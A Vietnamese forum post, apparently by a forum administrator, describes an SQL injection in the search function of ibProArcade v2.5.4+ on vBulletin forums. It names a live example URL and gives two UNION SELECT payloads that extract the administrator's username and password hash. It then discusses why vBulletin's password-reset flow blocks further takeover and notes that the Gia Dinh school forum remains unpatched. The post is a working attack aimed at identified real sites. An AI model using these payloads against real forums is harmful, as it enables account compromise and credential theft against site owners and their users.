Lỗi của forum THPT Gia Định

boymc

Administrator
Hic nhờ mấy bác chuyển hộ ra ngoài mà ko ai giúp đành tự làm thủ công vậy T.T
Do điều kiện ko cho phép nên em chưa view được code để phân tích kĩ, chỉ biết nó dính lỗi trong phần search:
Vi dụ như trang này :
http://forum.trongdongvn.com/arcade.php?
Khai thác để lấy passhash và user:
' union select u.username,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1 from user u where u.userid=1/*
' union select u.password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1 from user u where u.userid=1/*
Nhưng hiện tại chỉ dừng lại ở đấy vì thằngVbb này nó ko như IBP, cách thức reset pass của nó an toàn hơn nhiều :
Đầu tiên bạn phải nhập email ( cái này lấy đơn giản )
Sau đó bạn sẽ nhận được email để active của forum gửi. Code active nằm trong table này useractivation.
Sau khi được kích hoạt thì nó sẽ gửi cho mình mật khẩu mới nhưng đáng tiêc là …:
CREATE TABLE " . TABLE_PREFIX . "passwordhistory (
userid INT UNSIGNED NOT NULL DEFAULT '0',
password VARCHAR(50) NOT NULL DEFAULT '',
passworddate date NOT NULL DEFAULT '0000-00-00',
KEY userid (userid)
)
Do đó nó ko hề lưu 1 pass plain text nào trong DB.-> bó tay.
version ibProArcade v2.5.4+ cung dinh T.T

Theo mình vừa check lại thì bên Gia Định chưa fix lỗi này :-| ko ý kiến.
 
Top